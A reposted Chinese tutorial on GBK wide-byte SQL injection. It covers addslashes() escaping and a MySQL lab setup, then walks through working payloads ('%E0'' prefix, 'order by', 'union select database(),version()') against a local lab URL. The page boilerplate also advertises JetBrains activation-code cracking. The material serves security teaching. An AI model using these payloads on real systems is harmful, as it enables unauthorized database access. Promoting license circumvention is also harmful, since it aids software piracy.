宽字节注入讲解

宽字节注入讲解我讨厌现在的自己,一边压抑着自己的情绪,一边装作没事的样子,一到深夜就彻底崩溃了,天亮后还要微笑面对生活。。。—-网易云热评一、原理1、单字节字符集:所有的字符都使用一个字节来表示,比如ASCII编码(0-127)2、多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。3、宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字二、addslashes()函数1、addslashes(..

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

我讨厌现在的自己,一边压抑着自己的情绪,一边装作没事的样子,一到深夜就彻底崩溃了,天亮后还要微笑面对生活。。。

—-  网易云热评

一、原理

1、单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)

2、多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。

3、宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字

 

二、addslashes()函数

1、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

2、预定义字符是:单引号(’),双引号(”),反斜杠(\),NULL

3、实例

<?php

$ss=addslashes('aiyou"bu"cuoo');

echo($ss);

?>

运行结果:

aiyou\"bu\"cuoo

 

三、数据库创建

1、创建数据库名为jay

create database jay;

2、选择创建好的数据库

use jay;

3、创建表名为zhuanji,字段包括,id,neme,year,zhudage

create table zhuanji(id int primary key auto_increment,name varchar(255) not null,year int  not null,zhudage varchar(255) not null);

4、插入数据

insert into zhuanji (name,year,zhudage) values (“七里香”,”2004″,”七里香/外婆/我的地盘”);

insert into zhuanji (name,year,zhudage) values (“十一月的萧邦”,”2005″,”夜曲/发如雪/珊瑚海”);

insert into zhuanji (name,year,zhudage) values (“我很忙”,”2007″,”青花瓷/我不配/彩虹”);

5、中文编码问题,修改my.ini文件

[mysql]

default-character-set=gbk

[mysqld]

character-set-server=gbk

 

四、宽字节注入

1、访问该网址:http://192.168.0.104/aiyou/1.php?id=2,返回正常信息

宽字节注入讲解

2、判断是否存在注入,在id=2后面加入’,看是否报错,发现单引号被转义了

宽字节注入讲解

3、替换反斜杠,反斜杠的GBK编码为%5C,根据GBK编码在前面加上%DE,%DF,%E0。。。都可以组成一个汉字,从而把反斜杠给‘吃’了

宽字节注入讲解

4、成功替换了反斜杠

宽字节注入讲解

5、获取数据库列数,order by 4返回正常

192.168.0.104/aiyou/1.php?id=2%E0′ order by 4 –+

宽字节注入讲解

 

6、获取数据库名称及版本号

192.168.0.104/aiyou/1.php?id=-2%E0′ union select 1,database(),version(),4 –+

宽字节注入讲解

 

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

宽字节注入讲解

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/181922.html原文链接:https://javaforall.net

(0)
上一篇 2022年10月14日 下午10:00
下一篇 2022年10月14日 下午10:00


相关推荐

  • 成功解决Qt图标背景颜色透明问题

    成功解决Qt图标背景颜色透明问题一直困扰的一个问题 一个图标或是一张图片如何适应背景 或者说如何设置背景为透明色 就像下面这三张图标一样 白色背景 不太好看 作为一个小白 我从百度图片上获取了它们 然后就用起来了 然后经过一番的网上搜索我发现一个关键词 矢量图 矢量图就是那些扣掉背景的图 所以从百度图片上找到的图片需要经过 ps 类的软件来抠图才能使用 听朋友说 ps 的魔棒工具就可以解决 但是我还没有下载 ps 也不太会呢 好吧 我承认我还很懒 所以既然知道了是矢量图 那网上应该不少吧 so 人生苦短 我用 Iconfont 阿里巴巴矢量图

    2026年3月18日
    2
  • 一苇网支持讯飞星火吗_一苇网接入讯飞星火配置教程【教程】

    一苇网支持讯飞星火吗_一苇网接入讯飞星火配置教程【教程】

    2026年3月14日
    2
  • document.getElementById详解

    document.getElementById详解注意:document.getElementById("")得到的是一个对象,用alert显示得到的是“object”,而不是具体的值,它有value和length等属性,加上.value得到的才是具体的值! 参考资料:1.document.getElementById的用法和DHTML.CHM的下载地址http://blog.sin…

    2022年7月15日
    19
  • 终于有人把RISC-V讲明白了

    终于有人把RISC-V讲明白了0RISC V 和其他开放架构有何不同如果仅从 免费 或 开放 这两点来评判 RISC V 架构并不是第一个做到免费或开放的处理器架构 在开始之前 我们先通过论述几个具有代表性的开放架构 来分析 RISC V 架构的不同之处以及为什么其他开放架构没能取得足够的成功 0 1 平民英雄 OpenRISCOpen 是 OpenCores 组织提供的基于 GPL 协议的开放源代码 RISC 处理器

    2026年3月19日
    2
  • grid数据格式_echarts grid属性

    grid数据格式_echarts grid属性显示图片grid.Column(null,”图片”,format:p=>Html.Raw(string.Format(“<imgsrc='{0}’/>”,p.ImageUrl)),style:”g-img”),日期格式:grid.Column(“EditDate”,”修改日期”,(p)=>string.F…

    2022年10月6日
    5
  • golang语言学习第一课:如何定义变量,笔记及回顾「建议收藏」

    golang语言学习第一课:如何定义变量,笔记及回顾「建议收藏」golang语言学习第一课:如何定义变量,笔记及回顾

    2022年4月21日
    47

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号